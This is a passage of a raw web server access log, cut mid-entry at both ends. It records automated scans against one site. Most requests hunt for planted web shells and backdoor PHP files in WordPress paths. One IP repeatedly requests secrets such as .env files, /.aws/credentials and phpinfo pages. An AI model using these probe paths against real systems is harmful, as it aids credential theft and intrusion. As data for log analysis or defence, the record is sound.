HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:16 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:17 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:17 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:17 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:17 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:18 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:18 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:18 -0400] "GET /0z.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:19 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:19 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:19 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:19 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:20 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:20 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:21 -0400] "GET /authorize.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:21 -0400] "GET /wp-admin/css/colors/blue/CasperExV1.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:21 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:22 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:22 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:22 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:22 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:23 -0400] "GET /wp-content/plugins/WordPressCore/blkfqnikz.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:23 -0400] "GET /wp/wp-admin/includes/class-wp-page-mvb2yr.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:24 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:24 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:25 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:25 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:25 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:25 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:26 -0400] "GET /wordpress/wp-includes/IXR/allez.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:26 -0400] "GET /rendixd.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:26 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:26 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:27 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:27 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:27 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:27 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:28 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:28 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:28 -0400] "GET /.well-known//.well-known/owlmailer.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:28 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:29 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:29 -0400] "GET /wp-content/uploads/wp-login.php.suspected HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:29 -0400] "GET /wp-includes/rest-api/endpoints/html.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:29 -0400] "GET /wp-admin/js/widgets/cong.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:30 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:30 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:30 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:31 -0400] "GET /wp-admin/js/privacy-tools.min.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:31 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:31 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:31 -0400] "GET /wp-content/uploads/error_log.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:32 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:32 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:32 -0400] "GET /wp-includes/Requests/dropdown.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:33 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:33 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:33 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:33 -0400] "GET /css/sgd.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [29/Apr/2025:08:24:34 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [29/Apr/2025:08:44:18 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:08:44:22 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:08:44:39 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:08:44:48 -0400] "GET /.well-known/pki-validation/sx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 45.148.127.237 - - [29/Apr/2025:08:49:14 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 78.153.140.218 - - [29/Apr/2025:09:10:05 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.20 (KHTML, like Gecko) Version/5.0.4 Safari/533.20" 78.153.140.218 - - [29/Apr/2025:09:10:05 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MASEJS)" 78.153.140.218 - - [29/Apr/2025:09:10:06 -0400] "GET /.aws/credentials HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.04 (hardy) Firefox/3.0.8" 78.153.140.218 - - [29/Apr/2025:09:10:06 -0400] "GET /.aws/credentials HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; U; Android 4.0.3; pt-br; LG-E612f Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" 78.153.140.218 - - [29/Apr/2025:09:10:06 -0400] "GET /backend/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/7.0; 1ButtonTaskbar)" 78.153.140.218 - - [29/Apr/2025:09:10:07 -0400] "GET /backend/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 5.1.1; Coolpad 3622A Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Mobile Safari/537.36" 78.153.140.218 - - [29/Apr/2025:09:10:07 -0400] "GET /api/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4" 78.153.140.218 - - [29/Apr/2025:09:10:07 -0400] "GET /api/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:50.0) Gecko/20100101 Firefox/50.0" 78.153.140.218 - - [29/Apr/2025:09:10:08 -0400] "GET /admin/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0" 78.153.140.218 - - [29/Apr/2025:09:10:08 -0400] "GET /admin/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MATM)" 78.153.140.218 - - [29/Apr/2025:09:10:09 -0400] "GET /app/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 5.1.1; LG-H343 Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.111 Mobile Safari/537.36" 78.153.140.218 - - [29/Apr/2025:09:10:10 -0400] "GET /app/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Mobile Safari/537.36" 78.153.140.218 - - [29/Apr/2025:09:10:10 -0400] "GET /vendor/.env HTTP/1.1" 301 795 "-" "Opera/9.50 (X11; Linux x86_64; U; pl)" 78.153.140.218 - - [29/Apr/2025:09:10:10 -0400] "GET /vendor/.env HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.2; Creative AutoUpdate v1.41.07)" 78.153.140.218 - - [29/Apr/2025:09:10:11 -0400] "GET /crm/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 78.153.140.218 - - [29/Apr/2025:09:10:12 -0400] "GET /crm/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.96 Safari/537.36" 78.153.140.218 - - [29/Apr/2025:09:10:12 -0400] "GET /.env.example HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36 OPR/40.0.2308.81" 78.153.140.218 - - [29/Apr/2025:09:10:13 -0400] "GET /.env.example HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; MASPJS; rv:11.0) like Gecko" 78.153.140.218 - - [29/Apr/2025:09:10:13 -0400] "GET /.env.production HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; NP08; NP08; MAAU; rv:11.0) like Gecko" 78.153.140.218 - - [29/Apr/2025:09:10:14 -0400] "GET /.env.production HTTP/1.1" 301 795 "-" "Opera/9.01 (X11; FreeBSD 6 i386; U;pl)" 78.153.140.218 - - [29/Apr/2025:09:10:14 -0400] "GET /?phpinfo=-1 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; ZX-X15 Build/JRO03H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" 78.153.140.218 - - [29/Apr/2025:09:10:15 -0400] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; GoogleTV 3.2; NSZ-GS7/GX70 Build/MASTER) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24" 78.153.140.218 - - [29/Apr/2025:09:10:15 -0400] "GET /?phpinfo=-1 HTTP/1.1" 301 795 "-" "Opera/9.61 (Windows NT 5.1; U; en-GB) Presto/2.1.1" 78.153.140.218 - - [29/Apr/2025:09:10:15 -0400] "GET /media/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120427 Firefox/15.0a1" 78.153.140.218 - - [29/Apr/2025:09:10:16 -0400] "GET /server/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0" 78.153.140.218 - - [29/Apr/2025:09:10:16 -0400] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "Opera/9.21 (X11; Linux i686; U; de)" 78.153.140.218 - - [29/Apr/2025:09:10:17 -0400] "GET /media/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.7) Gecko/20050420 Firefox/1.0.3" 78.153.140.218 - - [29/Apr/2025:09:10:17 -0400] "GET /staging/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/7.0.0 Safari/700.13" 78.153.140.218 - - [29/Apr/2025:09:10:18 -0400] "GET /server/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.8 (KHTML, like Gecko) Version/10.1.1 Safari/603.2.5" 78.153.140.218 - - [29/Apr/2025:09:10:18 -0400] "GET /twilio/.env HTTP/1.1" 301 795 "-" "Opera/9.23 (Windows NT 5.1; U; zh-cn)" 78.153.140.218 - - [29/Apr/2025:09:10:18 -0400] "GET /staging/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36" 78.153.140.218 - - [29/Apr/2025:09:10:19 -0400] "GET /.env.save HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-J727T1 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.109 Mobile Safari/537.36" 78.153.140.218 - - [29/Apr/2025:09:10:19 -0400] "GET /twilio/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3" 78.153.140.218 - - [29/Apr/2025:09:10:20 -0400] "GET /.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X; %lang2%) adbeat.com/policy AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B176 Safari/7534.48.3" 78.153.140.218 - - [29/Apr/2025:09:10:20 -0400] "GET /.env.save HTTP/1.1" 301 795 "-" "Opera/9.80 (X11; Linux i686; U; en) Presto/2.5.27 Version/10.60" 78.153.140.218 - - [29/Apr/2025:09:10:21 -0400] "GET /.json HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT) ::ELNSB50::000061100320025802a00111000000000507000900000000" 78.153.140.218 - - [29/Apr/2025:09:10:21 -0400] "GET /?url=.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; BOLT/2.340) AppleWebKit/530+ (KHTML, like Gecko) Version/4.0 Safari/530.17 UNTRUSTED/1.0 3gpp-gba UNTRUSTED/1.0" 78.153.140.218 - - [29/Apr/2025:09:10:22 -0400] "GET /config/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; EIE10;ENCAWOL; rv:11.0) like Gecko" 78.153.140.218 - - [29/Apr/2025:09:10:23 -0400] "GET /?url=.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9" 78.153.140.218 - - [29/Apr/2025:09:10:23 -0400] "GET /info HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36 OPR/50.0.2762.45" 78.153.140.218 - - [29/Apr/2025:09:10:24 -0400] "GET /config/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/52.0.2871.40" 78.153.140.218 - - [29/Apr/2025:09:10:24 -0400] "GET /stage/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:37.0) Gecko/20100101 Firefox/37.0" 78.153.140.218 - - [29/Apr/2025:09:10:25 -0400] "GET /info HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.26 Safari/537.36" 78.153.140.218 - - [29/Apr/2025:09:10:27 -0400] "GET /stage/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Konqueror/3.5; NetBSD 4.0_RC3; X11) KHTML/3.5.7 (like Gecko)" 198.235.24.54 - - [29/Apr/2025:09:22:49 -0400] "GET / HTTP/1.1" 301 795 "-" "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com" 162.0.232.217 - - [29/Apr/2025:09:48:03 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:09:48:42 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:09:48:55 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:09:49:17 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 52.164.243.23 - - [29/Apr/2025:10:16:27 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:28 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:29 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:29 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:30 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:31 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:32 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:32 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:33 -0400] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:34 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:34 -0400] "GET /wp-setting.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:35 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:35 -0400] "GET /wp-content/plugins/elementor/assets/images/app/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:36 -0400] "GET /wp-comments-pos.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:36 -0400] "GET /wp-content/themes/ripro/inc/admin/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:37 -0400] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:38 -0400] "GET /index/b/home/h213348220/fundlead.ru/docs/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:38 -0400] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:39 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:40 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:40 -0400] "GET /wp-content/plugins/woocommerce/assets/client/blocks/products-by-attribute/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:41 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:41 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:42 -0400] "GET /Content/UserFiles/News/Orjinal/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:42 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:43 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:43 -0400] "GET /templates/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:44 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:44 -0400] "GET /wp-content/plugins/elementor/assets/images/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:45 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:46 -0400] "GET /wp-link.php/wp-content/plugins/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:46 -0400] "GET /wp-cro.php/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:47 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:47 -0400] "GET /wordpress/wp-includes/js/mediaelement/renderers/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:48 -0400] "GET /wp-content/plugins/oxygen/component-framework/components/classes/gallery/photoswipe/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:49 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:49 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:50 -0400] "GET /wp-content/plugins/elementor-pro/modules/woocommerce/skins/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:51 -0400] "GET /wp-content/plugins/seo-by-rank-math/vendor/woocommerce/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:52 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:53 -0400] "GET /wp-content/plugins/ultimate-addons-for-gutenberg/blocks-config/uagb-controls/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:53 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:54 -0400] "GET /wp-content/themes/twenty/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:54 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:55 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:56 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:56 -0400] "GET /newlms/assets/frontend/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:57 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:58 -0400] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:58 -0400] "GET /wp-content/themes/blocksy/static/sass/frontend/6-layout/entries/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:59 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:16:59 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:00 -0400] "GET /wp/wp-content/themes/twentytwenty/template-parts/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:00 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:01 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:01 -0400] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:02 -0400] "GET /wp-content/plugins/wordpress-seo/vendor_prefixed/symfony/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:03 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:03 -0400] "GET /.well-known/acme-challenge/action=./ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:04 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:04 -0400] "GET /vendor/symfony/serializer/Mapping/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:05 -0400] "GET /wp-content/themes/blocksy/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:05 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:06 -0400] "GET /assets/admin/plugins/ckeditor/plugins/scayt/dialogs/dialogs/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:17:06 -0400] "GET 